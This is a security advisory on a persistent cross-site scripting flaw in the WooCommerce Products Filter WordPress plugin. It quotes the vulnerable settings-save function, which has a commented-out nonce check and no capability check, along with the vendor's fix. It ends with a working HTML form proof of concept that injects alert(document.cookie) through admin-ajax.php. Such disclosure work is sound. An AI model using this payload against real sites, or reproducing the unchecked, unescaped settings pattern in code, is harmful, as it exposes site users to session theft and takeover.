Authenticated Persistent Cross-SIte Scripting (XSS) Vulnerability in WooCommerce Products Filter
When using WooCommerce you introduce an additional security risk due to the fact that WooCommerce allows the creation of WordPress accounts by customers by default. That is a security risk because many of the security vulnerabilities in WordPress plugins we are seeing found by others and found by us these days involve something that is only exploitable by logged in users. With that risk, you would hope that developers of plugin that interact with WooCommerce would be careful to avoid that type of issue, but from starting to look over those plugins we have found that isn’t always the case.
In the WooCommerce Products Filter plugin settings are saved through AJAX accessible function woof_save_options(), located in the file /index.php. The file looked this in version 1.14.2:
154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 | public function woof_save_options() { $data = array(); parse_str($_REQUEST['formdata'], $data); //if (wp_verify_nonce($data['_wpnonce'])) { if (isset($data['woof_settings'])) { $_POST = $data; //for WC_Admin_Settings WC_Admin_Settings::save_fields($this->get_options()); //+++ if (class_exists('SitePress')) { $lang = ICL_LANGUAGE_CODE; if (isset($data['woof_settings']['wpml_tax_labels']) AND ! empty($data['woof_settings']['wpml_tax_labels'])) { $translations_string = $data['woof_settings']['wpml_tax_labels']; $translations_string = explode(PHP_EOL, $translations_string); $translations = array(); if (!empty($translations_string) AND is_array($translations_string)) { foreach ($translations_string as $line) { if (empty($line)) { continue; } $line = explode(':', $line); if (!isset($translations[$line[0]])) { $translations[$line[0]] = array(); } $tmp = explode('^', $line[1]); $translations[$line[0]][$tmp[0]] = $tmp[1]; } } $data['woof_settings']['wpml_tax_labels'] = $translations; } } //+++ if (is_array($data['woof_settings'])) { update_option('woof_settings', $data['woof_settings']); } wp_cache_flush(); } } die('done'); } |
While the changing of the plugin’s settings would normally only be accessible Administrator level users, there is no checking done to make sure lower level users are not accessing it. There is a nonce check in the code that could restrict access to those who could access the setting’s page, but it is commented out. Looking back to older version, when the this function was introduced in version 1.1.4 it was already commented out already.
This could used for persistent cross-site scripting (XSS) due to the fact that the settings are not sanitized when saved as can be seen in that function. An there is not escaping done in at least some cases. An example being when the setting “default_overlay_skin_word” is output on frontend pages:
856 857 858 | <?php if (isset($this->settings['default_overlay_skin_word']) AND ! empty($this->settings['default_overlay_skin_word'])): ?> woof_lang_loading = "<?php echo __($this->settings['default_overlay_skin_word'], 'woocommerce-products-filter') ?>"; <?php endif; ?> |
After we contacted the developer about the issue they released version 1.1.5, which added a check to the function woof_save_options() function to see if the user making the request can manage_options, which is a capability normally only Administrator level users have, before allowing the rest of the function’s code to run:
261 262 263 264 265 266 267 268 269 270 271 272 273 | public function woof_save_options() { //save options can admin only <notifications@pluginvulnerabilities.com> if (!current_user_can('manage_options')) { return; } //*** $data = array(); parse_str($_REQUEST['formdata'], $data); |
The function still lacks protection against cross-site request forgery (CSRF), as the nonce check remains commented out.
Proof of Concept
The following proof of concept URL will cause any available cookies to shown in alert box on pages from the plugin, when logged in to WordPress.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="woof_save_options" /> <input type="hidden" name="formdata" value="woof_settings=&woof_settings%5Bdefault_overlay_skin_word%5D=%22%3B+alert(document.cookie)%3B+%22" /> <input type="submit" value="Submit" /> </form> </body> </html>
Timeline
- 6/27/2016 – Developer notified.
- 7/8/2016 – Version 1.1.5 released, which fixes vulnerability.